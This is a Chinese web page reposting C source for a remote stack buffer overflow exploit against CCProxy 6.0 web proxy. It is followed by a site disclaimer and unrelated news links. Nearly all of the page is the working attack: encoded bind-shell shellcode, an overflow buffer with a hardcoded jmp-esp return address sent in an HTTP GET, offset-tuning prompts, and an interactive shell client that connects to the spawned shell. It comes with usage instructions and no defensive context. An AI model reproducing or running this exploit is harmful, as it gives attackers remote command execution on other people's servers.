分享
 
 
 

CCproxy 6 Exploit CN Version

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

/*

* ccpx.c - x86/win32 CCProxy 6.0 remote stack buffer overflow exploit

* Author : isno <isno@xfocus.org>

* Complie : cl ccpx.c

* Usage : ccpx <target_ip> [target_port]

* default target_port is 808

* Stronger By Goldsun 5261314@sohu.com

*/

#include <stdio.h>

#include <stdlib.h>

#include <Winsock2.h>

#include <windows.h>

#pragma comment (lib,"ws2_32")

#define PPORT 808

#define XPORT 53

//lion's shellcode bind port 53

unsigned char shellcode[] =

"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"

"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

// shellcode

"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"

"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"

"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"

"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"

"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"

"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"

"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"

"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"

"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"

"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D"

"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"

"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"

"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"

"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"

"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"

"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59"

"\x35" //port

"\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"

"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"

"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"

"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"

"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"

"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"

"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"

"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

int Make_Connection(char *address,int port,int timeout);

void shell (int sock);

int main(int argc, char * argv[])

{

SOCKET csock, s2;

WSADATA WSAData;

int yn, offset, ret, pport;

char line[80];

char buf[8000], sbuf[10000];

char local[100] = {0};

char *localip;

struct hostent * pHost;

if(argc<2)

{

printf("CCPROXY 6 Exploit CN Writen By isno@xfocus.org & Compiled By Goldsun\n");

printf("Usage: %s <target_ip> [target_port] [offset]\ndefault port is 808\n", argv[0]);

return 1;

}

if(argc>=3)

pport=atoi(argv[2]);

else

pport=PPORT;

if(argc>=4)offset=atoi(argv[3]);

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

{

printf("[-] WSAStartup failed.\n");

WSACleanup();

exit(1);

}

// 获取本机名

gethostname((char*)local, sizeof(local)-1);

// 获取本地 IP 地址

pHost = gethostbyname((char*)local);

localip = inet_ntoa(*(IN_ADDR *)pHost->h_addr_list[0]);

//offset=15-strlen(localip); //offset from target_ip len ret addr

offset=2;

printf("Local IP: %s Target IP: %s:%d\n",localip,argv[1],pport);

printf("Target in the same subnet? [y/n] ");

yn = _getch();

if(yn == 0x6e || yn == 0x4e)

{

printf("\r\nHave real Internet Ip Address ? [y/n] ");

yn = _getch();

if(yn == 0x6e || yn == 0x4e)

{

printf("\r\nYour gateway Internet ip address: ");

gets(line);

offset=15-strlen(line);

}

}

//如果攻击目标为本地地址,则需要调整offset

if(strcmp(argv[1], "localhost") == 0 || strcmp(argv[1], "127.0.0.1") == 0)

//offset=15-strlen("127.0.0.1");

offset=6;

printf("\r\n[+] connecting to %s:%d\n", argv[1], pport);

csock = Make_Connection(argv[1], pport, 10);

if(csock<0)

{

printf("[-] connect err.\n");

exit(1);

}

printf("Offset: %d",offset);

memset(buf, 0, sizeof(buf)-1);

memset(buf, 0x41, 4045+offset);

memcpy(buf+strlen(buf)-strlen(shellcode), shellcode, strlen(shellcode));

printf(" Magic Length: %d + 16 =",strlen(buf));

strcat(buf, "\xcd\x54\xfa\x7f"); //ret addr jmp esp

strcat(buf, "\xb9\x41\x41\x41\x25\xc1\xe9\x14\x2b\xe1\xff\xe4"); //jmp back

sprintf(sbuf, "GET /%s HTTP/1.0\r\n\r\n", buf);

printf(" buffer length: %d\n",strlen(buf));

printf("[+] send magic buffer...\n");

ret=send(csock, sbuf,strlen(sbuf), 0);

if(ret<=0)

{

printf("[-] send err.\n");

exit(1);

}

closesocket(csock);

Sleep(1000);

printf("[+] connecting to CMD shell port...\n");

s2 = Make_Connection(argv[1], XPORT, 10);

if(s2<0)

{

printf("[-] connect err:-<maybe there's firewall\n");

exit(1);

}

shell(s2);

WSACleanup();

return 0;

}

// 解析域名

unsigned int resolve(char *name)

{

struct hostent *he;

unsigned int ip;

if((ip=inet_addr(name))==(-1))

{

if((he=gethostbyname(name))==0)

return 0;

memcpy(&ip,he->h_addr,4);

}

return ip;

}

// 建立TCP连接

// 输入:

// char * address IP地址

// int port 端口

// int timeout 延时

// 输出:

// 返回:

// 成功 >0

// 错误 <=0

int Make_Connection(char *address,int port,int timeout)

{

struct sockaddr_in target;

SOCKET s;

int i;

DWORD bf;

fd_set wd;

struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);

if(s<0)

return -1;

target.sin_family = AF_INET;

target.sin_addr.s_addr = resolve(address);

if(target.sin_addr.s_addr==0)

{

closesocket(s);

return -2;

}

target.sin_port = htons(port);

bf = 1;

ioctlsocket(s,FIONBIO,&bf);

tv.tv_sec = timeout;

tv.tv_usec = 0;

FD_ZERO(&wd);

FD_SET(s,&wd);

connect(s,(struct sockaddr *)&target,sizeof(target));

if((i=select(s+1,0,&wd,0,&tv))==(-1))

{

closesocket(s);

return -3;

}

if(i==0)

{

closesocket(s);

return -4;

}

i = sizeof(int);

getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);

if((bf!=0)||(i!=sizeof(int)))

{

closesocket(s);

return -5;

}

ioctlsocket(s,FIONBIO,&bf);

return s;

}

/* ripped from TESO code and modifed by ey4s for win32 */

void shell (int sock)

{

int l;

char buf[512];

struct timeval time;

unsigned long ul[2];

time.tv_sec = 1;

time.tv_usec = 0;

while (1)

{

ul[0] = 1;

ul[1] = sock;

l = select (0, (fd_set *)&ul, NULL, NULL, &time);

if(l == 1)

{

l = recv (sock, buf, sizeof (buf), 0);

if (l <= 0)

{

printf ("[-] Connection closed.\n");

return;

}

l = write (1, buf, l);

if (l <= 0)

{

printf ("[-] Connection closed.\n");

return;

}

}

else

{

l = read (0, buf, sizeof (buf));

if (l <= 0)

{

printf("[-] Connection closed.\n");

return;

}

l = send(sock, buf, l, 0);

if (l <= 0)

{

printf("[-] Connection closed.\n");

return;

}

}

}

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有